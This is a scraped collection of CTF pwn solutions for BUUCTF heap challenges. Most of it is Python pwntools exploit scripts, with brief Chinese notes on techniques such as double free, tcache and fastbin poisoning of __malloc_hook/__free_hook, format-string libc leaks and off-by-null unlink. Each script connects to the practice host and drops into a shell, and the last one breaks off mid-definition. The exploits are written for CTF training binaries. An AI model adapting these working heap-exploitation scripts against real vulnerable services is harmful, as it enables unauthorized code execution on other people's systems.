1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./chall"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 28487      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      c     x/20xg $rebase(0x202060)     " ""     gdb.attach(io, gdbscript=gdbscript) def add(size: int , name: bytes, call: bytes):     sla(b"choice:" , b"1" )     sla(b"size of girl's name\n" , str(size).encode())     sa(b"her name:\n" , name)     sa(b"input her call:\n" , call) # 可以double  free  def free (index: int ):     sla(b"choice:" , b"4" )     sla(b"the index:\n" , str(index).encode()) def show(index: int ):     sla(b"choice:" , b"2" )     sla(b"the index:\n" , str(index).encode()) add(0x418 , b"a"  * 0x18 , b"c"  * 0xC ) add(0x28 , b"a"  * 0x18 , b"c"  * 0xC ) free (0 )show(0 ) ru(b"name:\n" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7FC758064CA0  + 0x7FC757C79000  free (1 )free (1 )add(0x28 , p64(libc_base + libc.sym["__free_hook" ]), b"c" ) add(0x28 , b"/bin/sh\0" , b"a" ) add(0x28 , p64(libc_base + libc.sym["system" ]), b"c" ) free (1 )it() 
huxiangbei_2019_namesystem BUUCTF在线评测 
见csdn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./huxiangbei_2019_namesystem"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 26766      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       b *0x400A45     c     x/20xg 0x6020A0     " ""     gdb.attach(io, gdbscript=gdbscript) # 16 ~96  def add(size: int , content: bytes):     sla(b"choice :\n" , b"1" )     sla("Size:" , str(size).encode())     sla(b"Name:" , content) def free (index: int ):     sla(b"choice :\n" , b"3" )     sla(b"delete:" , str(index).encode()) # def show(index: int): #     sla(b"choice :\n" , b"2" ) #     sla(b"input note id: " , str(index).encode()) # def edit(index: int, content: bytes): #     sla(b"choice: " , b"1" ) #     sla(b"age of user: " , str(index).encode()) #     sa(b"username: " , content) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out for  i in range(18 ):    add(0x18 , b"a" ) add(0x58 , b"a" )  # 18  add(0x58 , b"a" )  # 19  free (17 )free (19 )for  i in range(16 , -1 , -1 ):    free (i) free (0 )free (0 )for  i in range(18 ):    add(0x18 , b"a" ) add(0x60 , b"a" )  # 18  add(0x60 , b"a" )  # 19  free (17 )free (19 )for  i in range(16 , -1 , -1 ):    free (i) free (0 )free (0 )add(0x58 , p64(elf.got["free" ] - 0x1E )) add(0x58 , b"%13$p" ) add(0x58 , b"/bin/sh\0" ) add(0x58 , p64(0x71 ) + b"\0"  * (6 ) + p32(elf.plt["printf" ]) + b"\0" ) free (1 )libc_base = int (r(14 ), 16 ) - libc.sym["__libc_start_main" ] - 240  system_addr = libc_base + libc.sym["system" ] add(0x60 , p64(elf.got["free" ] - 0x16 )) add(0x60 , b"a" ) add(0x60 , b"a" ) add(     0x60 ,     b"a"  * 6      + p32(system_addr & 0xFFFFFFFF )     + p16((system_addr & 0xFFFF00000000 ) >> 32 ), ) free (1 )it() 
rootersctf_2019_heaaaappppp BUUCTF在线评测 
不是什么难题,就是要借助栈来泄露libc,但不是很稳定
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./rootersctf_2019_heaaaappppp"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 25536      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       b *$rebase(0x13B5)     c     x/4xg $rebase(0x4088)     " ""     gdb.attach(io, gdbscript=gdbscript) # 0x20  0x30  0x40  def add(size: int , content: bytes):     sla(b"choice: " , b"0" )     sla("age of user: " , str(size).encode())     sa(b"Enter username: " , content) def free ():     sla(b"choice: " , b"2" ) # def show(index: int): #     sla(b"5.Exit\n" , b"4" ) #     sla(b"input note id: " , str(index).encode()) def edit(index: int , content: bytes):     sla(b"choice: " , b"1" )     sla(b"age of user: " , str(index).encode())     sa(b"username: " , content) def sendMessage(content: bytes):     sla(b"choice: " , b"3" )     sa(b"Enter message to be sent: \n" , content) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out sendMessage(b"a"  * 7  + b"b"  + b"c" ) ru(b"b" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7FA84C0DE563  + 0x7FA84BAC7000  add(0x10 , b"b"  * 7 ) free ()free ()edit(123 , p64(libc_base + libc.sym["__free_hook" ])) add(0x10 , p64(libc_base + one_gadget[1 ])) free ()it() 
ycb_2020_easypwn BUUCTF在线评测 
挺简单的一道题目,没什么好说的,利用unsorted bin泄露libc,然后double free到malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ycb_2020_easypwn"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 28833      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       b *$rebase(0xB76)     c     x/10xg $rebase(0x2020C0)     " ""     gdb.attach(io, gdbscript=gdbscript) def add(size: int , content: bytes, content2: bytes):     sa(b"choice : " , b"1" )     sla(b"size of the game's name: \n" , str(size).encode())     sa(b"game's name:\n" , content)     sla(b"game's message:\n" , content2) # def edit(index: int, content: bytes): #     sa(b"choice :" , b"3" ) #     sa(b"Index: " , str(index).encode()) #     sa(b"Size: " , str(len(content)).encode()) #     sa(b"Data: " , content) # 清空了 def free (index: int ):     sa(b"choice : " , b"3" )     sla(b"index:\n" , str(index).encode()) def show():     sa(b"choice : " , b"2" ) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out add(0x88 , b"0" , b"a" ) add(0x88 , b"1" , b"a" ) add(0x68 , b"2" , b"a" ) free (0 )free (1 )add(0x28 , b"a" , b"b" ) show() ru(b"ame[3]'s name :" ) libc_base = u64(ru(b"\x7f" ).ljust(8 , b"\0" )) - 0x7F510DF9FB61  + 0x7F510DBDB000  add(0x68 , b"a" , b"b" ) # 1  free (1 )free (2 )free (1 )add(0x68 , p64(libc_base + libc.sym["__malloc_hook" ] - 0x23 ), b"a" ) add(0x68 , b"a" , b"b" ) add(0x68 , b"a" , b"b" ) add(0x68 , b"a"  * 0x13  + p64(one_gadget[3 ] + libc_base), b"b" ) sa(b"choice : " , b"1" ) it() exit (0 )
gyctf_2020_some_thing_interesting BUUCTF在线评测 
比较简单的double free需要利用格式化字符串泄露栈地址strncmp只会比较对应长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./gyctf_2020_some_thing_interesting"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 26665      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *$rebase(0xF63)     c     x/4xg $rebase(0x2020E0)     x/4xg $rebase(0x202140)     x/4xg $rebase(0x2021A0)     x/4xg $rebase(0x202080)     " ""     gdb.attach(io, gdbscript=gdbscript) # <=0x70  舞动 def add(size: int , content: bytes, sizet: int , contentt: bytes):     sla(b"want to do :" , b"1" )     sla(b"> O's length : " , str(size).encode())     sa(b"> O : " , content)     sla(b"> RE's length : " , str(sizet).encode())     sa(b"> RE : " , contentt) def edit(index: int , content: bytes, contentt: bytes):     sla(b"want to do :" , b"2" )     sa(b"> O : " , content)     sa(b"> RE : " , contentt) # 没有清空,只删除 def free (index: int ):     sla(b"want to do :" , b"3" )     sla(b"> Oreo ID : " , str(index).encode()) def show(index: int ):     sla(b"want to do :" , b"4" )     sla(b"> Oreo ID : " , str(index).encode()) def check():     sla(b"want to do :" , b"0" ) sa(b"code please:" , b"OreOOrereOOreO%17$p" ) check() ru(b"OreOOrereOOreO" ) libc_base = int (r(14 ), 16 ) - 0x7F6CA166A830  + 0x7F6CA164A000  malloc_hook_addr = libc_base + libc.sym["__malloc_hook" ] add(0x68 , b"a" , 0x68 , b"c" ) free (1 )free (1 )add(0x68 , p64(malloc_hook_addr - 0x23 ), 0x68 , b"a" ) add(0x68 , b"a" , 0x68 , b"a"  * 0x13  + p64(libc_base + one_gadget[3 ])) sla(b"want to do :" , b"1" ) # debug() sla(b"> O's length : " , str(0x10 ).encode()) it() 
ciscn_2019_en_3 BUUCTF在线评测 
一个简简单单的double free
有一个_printf_chk,不能直接用%n$p,但还是可以直接多个%p
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./ciscn_2019_en_3"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 27134      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b      c     x/10xg $rebase(0x202060)     x/xg $rebase(0x20204C)     " ""     gdb.attach(io, gdbscript=gdbscript) # 没洞 def add(size: int , content: bytes):     sla(b"choice:" , b"1" )     sla(b"size of story: \n" , str(size).encode())     sa(b"inpute the story: \n" , content) # 没有清空 def free (index: int ):     sla(b"choice:" , b"4" )     sla(b"input the index:\n" , str(index).encode()) sa(b"name?\n" , b"%p"  * 0x10 ) r(4 ) libc_base = int (r(14 ), 16 ) - 0x7F9AECC0E081  + 0x7F9AECAFE000  free_hook_addr = libc_base + libc.sym["__free_hook" ] sa(b"Please input your ID.\n" , b"a"  * 8 ) add(0x18 , b"a"  * 0x18 ) free (0 )free (0 )free (0 )add(0x18 , p64(free_hook_addr)) add(0x18 , b"/bin/sh\0" ) add(0x18 , p64(libc_base + libc.sym["system" ])) free (2 )# debug() it() 
calloc rctf2018_babyheap BUUCTF在线评测 
一个挺不错的题目
calloc不会调用tcache,所以只能用fastbin attack
unosrted bin unlink
还可以的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./babyheap"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 25080      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "       b  *$rebase(0xD3E)     c     x/xg $rebase(0x202020)     " ""     gdb.attach(io, gdbscript=gdbscript) # <=256  calloc  off by one def add(size: int , content: bytes):     sa(b"choice: " , b"1" )     sa(b"chunk size: " , str(size).encode())     sla(b"content: " , content) # def edit(index: int, content: bytes): #     sa(b"choice :" , b"3" ) #     sa(b"Index: " , str(index).encode()) #     sa(b"Size: " , str(len(content)).encode()) #     sa(b"Data: " , content) # 清空了 def free (index: int ):     sa(b"choice: " , b"3" )     sa(b"index: " , str(index).encode()) def show(index: int ):     sa(b"choice: " , b"2" )     sa(b"index: " , str(index).encode()) def convert_str_asmencode(content: str):     out = ""      for  i in content:         out = hex(ord(i))[2 :] + out     out = "0x"  + out     return  out add(0xF8 , b"a" ) for  i in range(10 ):    add(0x68 , b"a" ) for  i in range(8 ):    add(0xF8 , b"a" ) for  i in range(9 , 1 , -1 ):    free (i) for  i in range(7 ):    free (12  + i) free (10 )add(0x68 , b"a"  * 0x60  + p64(0x70  * 10  + 0x100 )) free (0 )free (11 )add(0xF8 , b"a" ) show(1 ) ru(b"content: " ) libc_base = u64(rld().ljust(8 , b"\0" )) - 0x7FE03BD97CA0  + 0x7FE03B9AC000  add(0x48 , b"a" ) malloc_hook_addr = libc_base + libc.sym["__malloc_hook" ] add(0x28 , b"a"  * 0x18  + p64(0x71 ) + p64(malloc_hook_addr - 0x23 )) add(0x68 , b"a" ) add(0x68 , b"a"  * 0x13  + p64(one_gadget[1 ] + libc_base)) sa(b"choice: " , b"1" ) sa(b"chunk size: " , str(0x18 ).encode()) it() exit (0 )
gyctf_2020_signin BUUCTF在线评测 
分析好libc源码,calloc不会从tcache中取,_int_malloc会把在fastbin的空闲块移到tcache
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 #!/usr/bin/python3 #  -*- coding: utf-8  -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./gyctf_2020_signin"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x45216 , 0x4526A , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len(sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port = 25674      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     gdbscript = "" "      b *0x40148F     c     x/6xg 0x4040E0     x/6xg 0x404160     " ""     gdb.attach(io, gdbscript=gdbscript) def add(size: int ):     sla(b"your choice?" , b"1" )     sla(b"idx?\n" , str(size).encode()) def edit(index: int , content: bytes):     sla(b"your choice?" , b"2" )     sla(b"idx?\n" , str(index).encode())     sl(content) def backdoor():     sla(b"your choice?" , b"6" ) def free (index: int ):     sla(b"your choice?" , b"3" )     sla(b"idx?\n" , str(index).encode()) for  i in range(8 ):    add(i) for  i in range(8 ):    free (i) add(8 ) edit(7 , p64(0x4040C0  - 0x10 )) backdoor() it() 
unlink sctf_2019_easy_heap 这个题目算是简单题,有些东西就忘了,大概就是传统的unlink打法,然后malloc_hook和main_area地址比较接近,只要bss有main_aren地址之后,就可以直接改偏移,然后打malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 #!/usr/bin/python3 #  -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./sctf_2019_easy_heap" lib_path="" #lib_path="/home/zhou/glibc-all-in-one/libs/2.27-3ubuntu1_amd64" parm=elf_path #parm=[elf_path,"127.0.0.1","3339"] elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") if lib_path:     libc = ELF(f"{lib_path}/libc.so.6") else:     libc=elf.libc if len(sys.argv) > 1:     remote_ip = "node4.buuoj.cn"     remote_port = 27196     io = remote(remote_ip, remote_port) else:     if lib_path:         io = process(parm,env= {'LD_LIBRARY_PATH': lib_path})     else:         io = process(parm) def debug():     global io     gdbscript = """     b      c     x/20xg $rebase(0x202060)     x/xg $rebase(0x202040)     """     gdb.attach(io, gdbscript=gdbscript) def debug_force():     global io     io.close()     gdbscript = """     b *$rebase(0x1134)     c     """     if lib_path:         io=gdb.debug(parm,env= {'LD_LIBRARY_PATH': lib_path}, gdbscript=gdbscript)     else:         io=gdb.debug(parm, gdbscript=gdbscript) #0x1000 def add(size):     sla(b">> ",b"1")     sla(b"Size: ",str(size)) def free(idx):     sla(b">> ",b"2")     sla(b"Index: ",str(idx)) # def show(idx): #     sla(b"6. Bye :)\n",b"4") #     sla(b"ID:",str(idx)) #off by null def edit(idx,content):     sla(b">> ",b"3")     sla(b"Index: ",str(idx))     sa(b"Content: ",content) # def rol(val,k): #     s=bin(val)[2:] #     return int(s[k:]+s[:k],2) # def ror(val,k): #     s=bin(val)[2:] #     return int(s[-k:]+s[:len(s)-k],2) # def convert_str_asmencode(content: str): #     out = "" #     for i in content: #         out = hex(ord(i))[2:] + out #     out = "0x" + out #     return out #debug_force() ru(b"Mmap: ") shellcode_addr=int(rld(),16) shellcode=asm(shellcraft.sh()) add(0X418) ru(b"chunk at [0] Pointer Address ") bss_addr=int(rld(),16)-8 add(0x18) add(0x28) add(0x4f8) add(0x18) free(0) edit(2,b"a"*0x20+p64(0x470)) free(3) free(1) add(0x418) add(0x18) add(0x28) add(0x18) free(3) edit(1,p64(bss_addr+0x40)+b'\n') add(0x28) add(0x28) edit(6,p64(len(shellcode)+0x10)+p64(shellcode_addr)+p64(0x20)+b"\x30\n") edit(5,p64(shellcode_addr)+b"\n") edit(4,shellcode+b"\n") add(0x10) #debug() it() 
pwnable_unlink 利用unlink栈迁移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #!/usr/bin/python3 # -*- coding: utf-8 -*- # from LibcSearcher import LibcSearcheronline from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./unlink" parm=elf_path elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if len(sys.argv) > 1:     if sys.argv[1]=="ssh":         shell = ssh(host="node4.buuoj.cn", user="unlink", port=26277, password="guest")         io=shell.process(elf_path)     else:         remote_ip = "node4.buuoj.cn"         remote_port = 29038         io = remote(remote_ip, remote_port) else:     io = process(parm) ru(b"here is stack address leak: ") stack_addr=int(rld(),16) ru(b"here is heap address leak: ") heap_addr=int(rld(),16) shell=0x8048566 sla(b"get shell!\n",p32(shell).ljust(16,b"a")+p32(stack_addr+0x8)+p32(heap_addr+0xc)) it() 
t3sec2018_hero 利用off by null进行unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 #!/usr/bin/python3 #  -*- coding: utf-8 -*- from pwn import * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./hero" parm=elf_path elf = ELF(elf_path) context(arch=elf.arch, log_level="debug") libc = elf.libc if len(sys.argv) > 1:     remote_ip = "node4.buuoj.cn"     remote_port = 26668     io = remote(remote_ip, remote_port) else:     io = process(parm) def debug():     global io     gdbscript = """     b *$rebase(0xF4C)     c     x/10xg $rebase(0x2020C0)     x/10xg $rebase(0x202060)     """     gdb.attach(io, gdbscript=gdbscript) def debug_force():     global io     io.close()     gdbscript = """     b *0x40074F     c     """     io=gdb.debug(parm, gdbscript=gdbscript) #112 def add(name,power):     sla(b"Your choice: ",b"1")     sa(b"What's your hero's name:\n",name)#off by null     sa(b"What's your hero's power:\n",power) #没有清空 def free(idx):     sla(b"Your choice: ",b"4")     sla(b"What hero do you want to remove?\n",str(idx)) def show(idx):     sla(b"Your choice: ",b"2")     sla(b"What hero do you want to show?\n",str(idx)) def edit(idx,name,power):     sla(b"Your choice: ",b"3")     sla(b"What hero do you want to edit?\n",str(idx))     sa(b"What's your hero's name:\n",name)#off by null     sa(b"What's your hero's power:\n",power) # def convert_str_asmencode(content: str): #     out = "" #     for i in content: #         out = hex(ord(i))[2:] + out #     out = "0x" + out #     return out #debug_force() add(b"a",b"b") add(b"a",b"b") add(b"a"*0x60+p64(0x2e0),b"b") for i in range(3,10):     add(b"a",b"b") for i in range(9,2,-1):     free(i) free(0) free(2)#重叠堆块 for i in range(7):#用完7个tcache     add(b"a",b"b") add(b"b",b"a") show(8) ru(b"Power:") libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7fd2ff359000-0x7fd2ff745061 add(b"a",b"b") free(0) free(2) free(1) free(9) add(b"a",p64(libc_base+libc.sym["__free_hook"])) add(b"/bin/sh\0",b"a")#1 add(b"a",b"a") add(b"a",p64(libc_base+libc.sym["system"])) free(1) #debug() it() 
sctf2019_easy_heap 利用bss unlink达到任意地址写,主要可以写shellcode和修改free的ptrhttps://buuoj.cn/challenges#sctf2019_easy_heap 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 #!/usr/bin/python3 #  -*- coding: utf-8  -*- from pwn import  * it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) rud = lambda x: io.recvuntil(x, drop=True) r = lambda x: io.recv(x) rl = lambda: io.recvline() rld = lambda: io.recvline(keepends=False) s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./easy_heap"  elf = ELF(elf_path) context(arch=elf.arch, log_level="debug" ) libc = elf.libc if  "2.23"  in libc.path:    one_gadget = [0x4526A , 0x45216 , 0xF02A4 , 0xF1147 ] elif "2.27"  in libc.path:     one_gadget = [0x4F2C5 , 0x4F322 , 0x10A38C ] else :    one_gadget = [] if  len (sys.argv) > 1 :    remote_ip = "node4.buuoj.cn"      remote_port =25857      io = remote(remote_ip, remote_port) else :    io = process(elf_path) def debug():     global io     